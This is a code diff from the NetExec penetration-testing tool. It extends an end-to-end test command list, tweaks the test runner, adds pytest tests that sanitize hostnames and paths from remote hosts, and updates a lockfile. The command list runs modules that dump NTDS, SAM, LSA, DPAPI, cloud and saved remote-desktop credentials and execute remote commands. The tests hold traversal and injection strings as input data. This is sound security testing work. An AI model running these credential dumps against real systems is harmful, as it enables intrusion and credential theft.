netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M aws-credentials
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
|
||||
##### MSSQL
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
|
||||
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex
|
||||
@@ -285,6 +310,9 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-bru
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --database
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --db-hash
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-backups
|
||||
##### MSSQL PowerShell
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32
|
||||
@@ -313,6 +341,14 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o LIKE_SEARCH=test,secret
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o REGEX=secret SHOW_DATA=False
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi
|
||||
##### RDP
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
@@ -320,6 +356,10 @@ netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-scree
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --screenshot
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-exec"
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo alpha^&beta"
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X "Write-Output 'nxc-rdp-exec'"
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-no-output" --no-output
|
||||
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
|
||||
netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
|
||||
netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
|
||||
|
||||
@@ -32,6 +32,7 @@ def get_cli_args():
|
||||
parser.add_argument("--test-password-file", required=False, default=normpath(join(script_dir, "data", "test_passwords.txt")), help="Path to the file containing test passwords")
|
||||
parser.add_argument("--amsi-bypass-file", required=False, default=normpath(join(script_dir, "data", "test_amsi_bypass.txt")), help="Path to the file containing AMSI bypasses")
|
||||
parser.add_argument("--test-normal-file", required=False, default=normpath(join(script_dir, "data", "test_file.txt")), help="Path to file to upload/download")
|
||||
parser.add_argument("--test-pfx-file", required=False, default=normpath(join(script_dir, "data", "test_cert.pfx")), help="Path to the PFX certificate for certificate authentication")
|
||||
parser.add_argument("--dns-server", action="store", required=False, help="Specify DNS server")
|
||||
return parser.parse_args()
|
||||
|
||||
@@ -99,6 +100,7 @@ def replace_command(args, line):
|
||||
.replace("TEST_PASSWORD_FILE", args.test_password_file)\
|
||||
.replace("AMSI_BYPASS_FILE", args.amsi_bypass_file)\
|
||||
.replace("TEST_NORMAL_FILE", args.test_normal_file)\
|
||||
.replace("TEST_PFX_FILE", args.test_pfx_file)\
|
||||
.replace("{DNS}", dns_server)\
|
||||
.replace("/tmp", TMP_PATH)
|
||||
if args.poetry:
|
||||
|
||||
@@ -0,0 +1,445 @@
|
||||
import ntpath
|
||||
from importlib.util import module_from_spec, spec_from_file_location
|
||||
from pathlib import Path, PureWindowsPath
|
||||
import re
|
||||
from types import SimpleNamespace
|
||||
from unicodedata import normalize
|
||||
from unittest.mock import patch
|
||||
|
||||
import pytest
|
||||
from impacket import ntlm
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
from nxc.helpers.bloodhound import _add_with_domain, _add_without_domain
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.helpers.negotiate_parser import parse_challenge
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class Logger:
|
||||
def __init__(self):
|
||||
self.messages = []
|
||||
self.extra = {}
|
||||
|
||||
def fail(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
def debug(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
def highlight(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
def display(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
def success(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
def error(self, message):
|
||||
self.messages.append(message)
|
||||
|
||||
|
||||
class RaisingLogger:
|
||||
def fail(self, message):
|
||||
raise RuntimeError(message)
|
||||
|
||||
|
||||
class Unstringable:
|
||||
def __str__(self):
|
||||
raise ValueError
|
||||
|
||||
|
||||
class Challenge:
|
||||
fields = {}
|
||||
|
||||
def __getitem__(self, key):
|
||||
return {"TargetInfoFields": b"x", "TargetInfoFields_len": 1}[key]
|
||||
|
||||
|
||||
class AVPairs:
|
||||
def __init__(self, pairs):
|
||||
self.pairs = pairs
|
||||
|
||||
def __getitem__(self, key):
|
||||
return self.pairs.get(key)
|
||||
|
||||
|
||||
class QueryResult:
|
||||
def __init__(self, data):
|
||||
self.result = data
|
||||
|
||||
def data(self):
|
||||
return self.result
|
||||
|
||||
|
||||
class Transaction:
|
||||
def __init__(self, responses):
|
||||
self.responses = responses
|
||||
self.calls = []
|
||||
|
||||
def run(self, query, **parameters):
|
||||
self.calls.append((query, parameters))
|
||||
return QueryResult(self.responses.pop(0))
|
||||
|
||||
|
||||
class SMBItem:
|
||||
def __init__(self, name, directory=False):
|
||||
self.name = name
|
||||
self.directory = directory
|
||||
|
||||
def get_longname(self):
|
||||
return self.name
|
||||
|
||||
def is_directory(self):
|
||||
return self.directory
|
||||
|
||||
|
||||
class SMBConnection:
|
||||
def __init__(self, name):
|
||||
self.item = SMBItem(name)
|
||||
self.remote_path = None
|
||||
|
||||
def listPath(self, share, path):
|
||||
return [self.item]
|
||||
|
||||
def getFile(self, share, remote_path, callback, shareAccessMode=None):
|
||||
self.remote_path = remote_path
|
||||
callback(b"content")
|
||||
|
||||
|
||||
class RecursiveSMBConnection:
|
||||
def __init__(self):
|
||||
self.remote_path = None
|
||||
|
||||
def listPath(self, share, path):
|
||||
if path == ntpath.join("root", "*"):
|
||||
return [SMBItem(r"C:\outside", directory=True)]
|
||||
return [SMBItem("proof.txt")]
|
||||
|
||||
def getFile(self, share, remote_path, callback, shareAccessMode=None):
|
||||
self.remote_path = remote_path
|
||||
callback(b"content")
|
||||
|
||||
|
||||
class EnumerationSMBConnection:
|
||||
def getSMBServer(self):
|
||||
return SimpleNamespace(get_socket=lambda: SimpleNamespace(getsockname=lambda: ("192.0.2.10", 445)))
|
||||
|
||||
def login(self, username, password):
|
||||
return None
|
||||
|
||||
def getServerDNSHostName(self):
|
||||
return "HOST/../../evil.example"
|
||||
|
||||
def getServerName(self):
|
||||
return "NETBIOS"
|
||||
|
||||
def getServerDNSDomainName(self):
|
||||
return "example\n#injected"
|
||||
|
||||
def getServerOS(self):
|
||||
return "Windows 11"
|
||||
|
||||
def getServerOSMajor(self):
|
||||
return 10
|
||||
|
||||
def getServerOSMinor(self):
|
||||
return 0
|
||||
|
||||
def getServerOSBuild(self):
|
||||
return 26100
|
||||
|
||||
def logoff(self):
|
||||
return None
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def smb_class():
|
||||
spec = spec_from_file_location("sanitize_test_smb_protocol", Path(__file__).parents[1] / "nxc" / "protocols" / "smb.py")
|
||||
module = module_from_spec(spec)
|
||||
spec.loader.exec_module(module)
|
||||
return module.smb
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"hostname",
|
||||
[
|
||||
"server",
|
||||
"SRV-01",
|
||||
"3com",
|
||||
"123",
|
||||
"host.example.com",
|
||||
"host_name",
|
||||
"münchen.example",
|
||||
"-odd-",
|
||||
"name$@!%^&(),+~`",
|
||||
"a" * 253,
|
||||
],
|
||||
)
|
||||
def test_sanitize_dns_preserves_safe_and_noncompliant_names(hostname):
|
||||
logger = Logger()
|
||||
assert sanitize_dns(hostname, logger) == hostname
|
||||
assert logger.messages == []
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("hostname", "expected"),
|
||||
[
|
||||
(None, "_"),
|
||||
("", "_"),
|
||||
(".", "_"),
|
||||
("..", "__"),
|
||||
("host.", "host_"),
|
||||
("host name", "host_name"),
|
||||
("../../pwn", ".._.._pwn"),
|
||||
(r"..\..\pwn", ".._.._pwn"),
|
||||
("/tmp/pwn", "_tmp_pwn"),
|
||||
(r"C:\temp", "C__temp"),
|
||||
("{output_folder}", "_output_folder_"),
|
||||
("host\uff0fname", "host_name"),
|
||||
(b"server", "server"),
|
||||
],
|
||||
)
|
||||
def test_sanitize_dns_returns_safe_strings(hostname, expected):
|
||||
assert sanitize_dns(hostname, Logger()) == expected
|
||||
|
||||
|
||||
def test_sanitize_dns_replaces_config_and_control_characters():
|
||||
logger = Logger()
|
||||
sanitized = sanitize_dns("host name\n\x00\x1b#comment;[section]={value}'\"", logger)
|
||||
assert sanitized == "host_name____comment__section___value___"
|
||||
assert len(logger.messages) == 1
|
||||
assert "\n" not in logger.messages[0]
|
||||
assert "\x00" not in logger.messages[0]
|
||||
assert "\x1b" not in logger.messages[0]
|
||||
assert r"\n" in logger.messages[0]
|
||||
assert r"\x00" in logger.messages[0]
|
||||
assert r"\x1b" in logger.messages[0]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", ["CON", "NUL.txt", "PRN", "AUX.log", "COM1", "LPT9.txt", "COM¹.txt", "CONIN$", "CONOUT$", "aux.example.com", "com1.example.com", "lpt9.example.com"])
|
||||
def test_sanitize_dns_preserves_windows_device_names(name):
|
||||
assert sanitize_dns(name, Logger()) == name
|
||||
|
||||
|
||||
def test_sanitize_dns_bounds_long_values_with_stable_hash():
|
||||
name = "é" * 200
|
||||
sanitized = sanitize_dns(name, Logger())
|
||||
assert len(sanitized.encode("utf-8")) <= 253
|
||||
assert sanitized == sanitize_dns(name, Logger())
|
||||
assert sanitized != name
|
||||
assert len(sanitized.rsplit("_", 1)[1]) == 12
|
||||
|
||||
|
||||
def test_sanitize_dns_replaces_malformed_bytes():
|
||||
assert sanitize_dns(b"host\xffname", Logger()) == "host_name"
|
||||
|
||||
|
||||
def test_sanitize_dns_always_returns_a_string():
|
||||
assert sanitize_dns(Unstringable(), Logger()) == "_"
|
||||
assert sanitize_dns("../host", None) == ".._host"
|
||||
assert sanitize_dns("../host", RaisingLogger()) == ".._host"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"hostname",
|
||||
["\n", "host\n", "host\x00name", "host\u202ename", "../../x", r"..\..\x", "{output_folder}", "host name", "\uff23\uff2f\uff2e"],
|
||||
)
|
||||
def test_sanitize_dns_postconditions(hostname):
|
||||
sanitized = sanitize_dns(hostname, Logger())
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
assert isinstance(sanitized, str)
|
||||
assert sanitized
|
||||
assert len(sanitized.encode("utf-8")) <= 253
|
||||
assert all(character.isprintable() and not character.isspace() for character in sanitized)
|
||||
assert not any(character in '<>:"/\\|?*{}[]=#;\'' for character in sanitized)
|
||||
assert all(
|
||||
normalized_character.isprintable()
|
||||
and not normalized_character.isspace()
|
||||
and normalized_character not in '<>:"/\\|?*{}[]=#;\''
|
||||
for character in sanitized
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
assert normalized not in (".", "..")
|
||||
assert not normalized.endswith(".")
|
||||
assert sanitize_dns(sanitized, Logger()) == sanitized
|
||||
|
||||
|
||||
def test_parse_challenge_keeps_dns_and_netbios_names_distinct():
|
||||
pairs = AVPairs({
|
||||
ntlm.NTLMSSP_AV_HOSTNAME: (0, "NETBIOS_NAME".encode("utf-16le")),
|
||||
ntlm.NTLMSSP_AV_DNS_HOSTNAME: (0, "server.example.com".encode("utf-16le")),
|
||||
ntlm.NTLMSSP_AV_DNS_DOMAINNAME: (0, "example.com".encode("utf-16le")),
|
||||
})
|
||||
with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=pairs):
|
||||
result = parse_challenge(b"challenge")
|
||||
|
||||
assert result["hostname"] == "NETBIOS_NAME"
|
||||
assert result["dns_hostname"] == "server.example.com"
|
||||
assert result["domain"] == "example.com"
|
||||
|
||||
|
||||
def test_parse_challenge_handles_missing_names():
|
||||
with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=AVPairs({})):
|
||||
result = parse_challenge(b"challenge")
|
||||
|
||||
assert result["hostname"] is None
|
||||
assert result["dns_hostname"] is None
|
||||
assert result["domain"] is None
|
||||
|
||||
|
||||
def test_ldap_dns_hostname_remains_raw_at_parse_boundary():
|
||||
entry = ldapasn1_impacket.SearchResultEntry()
|
||||
entry["objectName"] = ""
|
||||
entry["attributes"][0]["type"] = "dNSHostName"
|
||||
entry["attributes"][0]["vals"][0] = "../../evil\n"
|
||||
|
||||
result = parse_result_attributes([entry])
|
||||
|
||||
assert result == [{"dNSHostName": "../../evil\n"}]
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("function", "user_info", "domain", "first_result", "expected"),
|
||||
[
|
||||
(_add_with_domain, {"username": "HOST' OR 1=1$"}, "EXAMPLE' OR 1=1", [{"c": {"owned": False}}], "HOST' OR 1=1.EXAMPLE' OR 1=1"),
|
||||
(_add_without_domain, {"username": "USER' OR 1=1"}, None, [{"c": {"owned": False, "name": "USER' OR 1=1@EXAMPLE"}}], "USER' OR 1=1"),
|
||||
],
|
||||
)
|
||||
def test_bloodhound_uses_parameters_for_untrusted_names(function, user_info, domain, first_result, expected):
|
||||
transaction = Transaction([first_result, [{"name": expected}]])
|
||||
if domain is None:
|
||||
function(user_info, transaction, Logger())
|
||||
else:
|
||||
function(user_info, domain, transaction, Logger())
|
||||
|
||||
assert len(transaction.calls) == 2
|
||||
assert all(expected not in query for query, _ in transaction.calls)
|
||||
assert transaction.calls[0][1]["user_owned"] == expected
|
||||
assert transaction.calls[1][1]["user_owned"] in (expected, "USER' OR 1=1@EXAMPLE")
|
||||
|
||||
|
||||
def test_smb_enum_host_info_sanitizes_remote_names(smb_class):
|
||||
connection = smb_class.__new__(smb_class)
|
||||
connection.conn = EnumerationSMBConnection()
|
||||
connection.host = "192.0.2.10"
|
||||
connection.hostname = connection.host
|
||||
connection.domain = None
|
||||
connection.no_ntlm = False
|
||||
connection.isdc = False
|
||||
connection.os_arch = 0
|
||||
connection.smbv1 = False
|
||||
connection.kerberos = False
|
||||
connection.kdcHost = "192.0.2.10"
|
||||
connection.logger = Logger()
|
||||
connection.db = SimpleNamespace(add_host=lambda *args: None)
|
||||
connection.args = SimpleNamespace(generate_hosts_file=None, generate_krb5_file=None, domain=None, use_kcache=False, local_auth=False)
|
||||
connection.is_host_dc = lambda aggressive_check=False: None
|
||||
connection._is_signing_required = lambda: False
|
||||
connection.get_os_arch = lambda: 64
|
||||
|
||||
connection.enum_host_info()
|
||||
|
||||
assert connection.hostname == "HOST_"
|
||||
assert connection.targetDomain == "example__injected"
|
||||
|
||||
|
||||
def test_smb_download_sanitizes_only_the_local_path(tmp_path, smb_class):
|
||||
remote_name = r"..\..\escape.txt"
|
||||
connection = smb_class.__new__(smb_class)
|
||||
connection.conn = SMBConnection(remote_name)
|
||||
connection.logger = Logger()
|
||||
connection.args = SimpleNamespace(share="SHARE", append_host=False)
|
||||
|
||||
connection.download_folder("root", str(tmp_path), silent=True)
|
||||
|
||||
assert connection.conn.remote_path == ntpath.join("root", remote_name)
|
||||
assert (tmp_path / ".._.._escape.txt").read_bytes() == b"content"
|
||||
assert not (tmp_path.parent / "escape.txt").exists()
|
||||
|
||||
|
||||
def test_smb_download_sanitizes_recursive_directory_components(tmp_path, smb_class):
|
||||
connection = smb_class.__new__(smb_class)
|
||||
connection.conn = RecursiveSMBConnection()
|
||||
connection.logger = Logger()
|
||||
connection.args = SimpleNamespace(share="SHARE", append_host=False)
|
||||
|
||||
connection.download_folder("root", str(tmp_path), recursive=True, silent=True)
|
||||
|
||||
assert connection.conn.remote_path == ntpath.join(r"C:\outside", "proof.txt")
|
||||
assert (tmp_path / "C_" / "outside" / "proof.txt").read_bytes() == b"content"
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
("name", "expected"),
|
||||
[
|
||||
("CON", "_CON"),
|
||||
("NUL.txt", "_NUL.txt"),
|
||||
("../pwn", ".._pwn"),
|
||||
(r"..\pwn", ".._pwn"),
|
||||
("{hostname}", "{hostname}"),
|
||||
("report{1}.txt", "report{1}.txt"),
|
||||
("report_1_.txt", "report_1_.txt"),
|
||||
("report\uff5b1\uff5d.txt", "report\uff5b1\uff5d.txt"),
|
||||
("host\u202ename", "host_name"),
|
||||
("münchen.example", "münchen.example"),
|
||||
("CON .txt", "_CON .txt"),
|
||||
],
|
||||
)
|
||||
def test_sanitize_path_component_handles_cross_platform_names(name, expected):
|
||||
assert sanitize_path_component(name) == expected
|
||||
|
||||
|
||||
def test_sanitize_path_component_replaces_malformed_bytes():
|
||||
assert sanitize_path_component(b"host\xffname") == "host_name"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("name", ["../../x", r"C:\x", "\uff23\uff2f\uff2e.txt", "name. ", "x\uff0fy", "{output_folder}"])
|
||||
def test_sanitize_path_component_postconditions(name):
|
||||
sanitized = sanitize_path_component(name)
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
|
||||
assert sanitized
|
||||
assert len(sanitized.encode("utf-8")) <= 255
|
||||
assert all(character.isprintable() for character in sanitized)
|
||||
assert not any(character in '<>:"/\\|?*' for character in sanitized)
|
||||
assert all(
|
||||
normalized_character.isprintable() and normalized_character not in '<>:"/\\|?*'
|
||||
for character in sanitized
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
assert normalized not in (".", "..")
|
||||
assert not normalized.endswith(".")
|
||||
assert not normalized[-1].isspace()
|
||||
assert normalized_stem not in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
|
||||
assert re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) is None
|
||||
assert sanitize_path_component(sanitized) == sanitized
|
||||
|
||||
|
||||
def test_sanitize_path_component_bounds_long_names_and_preserves_extension():
|
||||
sanitized = sanitize_path_component(f"{'a' * 300}.log")
|
||||
assert len(sanitized.encode("utf-8")) <= 255
|
||||
assert sanitized.endswith(".log")
|
||||
assert len(sanitized.rsplit("_", 1)[1].removesuffix(".log")) == 12
|
||||
|
||||
|
||||
def test_sanitize_path_component_keeps_paths_inside_base(tmp_path):
|
||||
sanitized = sanitize_path_component("../../outside")
|
||||
output = tmp_path / sanitized
|
||||
assert output.parent == tmp_path
|
||||
assert PureWindowsPath("C:/base", sanitized).parent == PureWindowsPath("C:/base")
|
||||
|
||||
|
||||
def test_sanitize_path_component_honors_custom_budget():
|
||||
sanitized = sanitize_path_component("a" * 300, max_bytes=220)
|
||||
assert len(sanitized.encode("utf-8")) <= 220
|
||||
assert sanitized == sanitize_path_component("a" * 300, max_bytes=220)
|
||||
|
||||
|
||||
def test_sanitize_path_component_drops_extension_that_exceeds_budget():
|
||||
sanitized = sanitize_path_component(f"{'a' * 30}.abcdefghijklmnopqrstuvwx", max_bytes=20)
|
||||
assert sanitized != "_"
|
||||
assert len(sanitized.encode("utf-8")) <= 20
|
||||
assert sanitize_path_component(sanitized, max_bytes=20) == sanitized
|
||||
@@ -1,14 +1,17 @@
|
||||
version = 1
|
||||
revision = 3
|
||||
requires-python = ">=3.10, <4.0"
|
||||
requires-python = ">=3.11, <4.0"
|
||||
|
||||
[options]
|
||||
exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values.
|
||||
exclude-newer-span = "P1D"
|
||||
|
||||
[options.exclude-newer-package]
|
||||
certipy-nxc = "2026-10-14T17:00:00Z"
|
||||
|
||||
[[package]]
|
||||
name = "aardwolf"
|
||||
version = "0.2.14"
|
||||
version = "0.2.16"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "arc4" },
|
||||
@@ -22,7 +25,12 @@ dependencies = [
|
||||
{ name = "tqdm" },
|
||||
{ name = "unicrypto" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/92/88/b1a7e3dd1e727245fe893bb707520ba91cc980443c0c261f730b35244b62/aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6", size = 973985, upload-time = "2026-06-20T21:07:04.498Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/71/0f/79f2acb31e1144a3895d17ad9136272d2b75ed3bd24eb1c415129d5e089d/aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2", size = 1013103, upload-time = "2026-10-04T18:44:46.704Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/6c/8d/a0cfa361e4077c56bcda4b820c462dbea4a11ff60110bc8486c1f051b660/aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7", size = 2169322, upload-time = "2026-10-04T18:44:41.102Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/15/7b/079c9087a742763141d3e2e4b000f34c3962aa6cb67599158fcb08c9aaaa/aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259", size = 2241815, upload-time = "2026-10-04T18:44:43.011Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/71/43/b51e73133aae6a3e56bfb79174e8a4edc99f8ef051202b0e7173053a0886/aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6", size = 1966337, upload-time = "2026-10-04T18:44:45.294Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "aesedb"
|
||||
@@ -86,7 +94,6 @@ name = "anyio"
|
||||
version = "4.14.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "exceptiongroup", marker = "python_full_version < '3.11'" },
|
||||
{ name = "idna" },
|
||||
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
|
||||
]
|
||||
@@ -101,9 +108,6 @@ version = "0.5.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b6/f0/881da69973abadac6848d27a0bf070b107ed5547ddbd1b092c30ab4c8b7c/arc4-0.5.0.tar.gz", hash = "sha256:259d4e505766639b7245d7199f3b4e72134d7adf20196820ffd3015954d85955", size = 6576, upload-time = "2026-04-05T13:22:36.059Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/24/3f/ab228c5d60e1d6ba345fa993b5336cd24376a86851673e112ad09b681c91/arc4-0.5.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2a052f9934746d81917032a4f37b390577141c56b4445c7f85c52b1155fdbf9f", size = 9065, upload-time = "2026-04-05T13:22:18.032Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0b/68/32c530846e2037275c094854c63935a15fac694de9279e62b23d86cf00e7/arc4-0.5.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:83a1f1934c55256838aa40998b87777f881e81c2056af9734cdb35a84574488c", size = 16526, upload-time = "2026-04-05T13:22:18.983Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d9/e9/2086b401b89885156424f3d5095de9ae3807ba04b05a768ba320c163ebc1/arc4-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:631786051c1468d3ec1010d1fc1089b539831d72d7f08ea342bdcd25aa019620", size = 9986, upload-time = "2026-04-05T13:22:20.064Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e8/4f/f2e28e91c9083876090e6218d3f601f7d54acdb5cc189fd4af406f104778/arc4-0.5.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:343a67c0bd2dcfdee78dc4269d8bd8ac362e6e911047833172468b337faccb1f", size = 9068, upload-time = "2026-04-05T13:22:20.845Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/80/84266d1b251fe29272d9f7796e3d4a323cf0a005749b6ddda45a191c2f11/arc4-0.5.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0ffd6df658cf4d348eebbd125e9dcd35fcfcb2efec31ff4258b85791b0207bad", size = 17788, upload-time = "2026-04-05T13:22:21.66Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/f7/e4ff9ee3d4b6227fd2e3b34d66d2242b7f55fd245c537b578e7f2b60becb/arc4-0.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:6c20103a2ff7cd43b91d707fb520a3d10dac5b9ef647957a2d19fa3a05725be6", size = 9990, upload-time = "2026-04-05T13:22:22.815Z" },
|
||||
@@ -113,8 +117,6 @@ wheels = [
|
||||
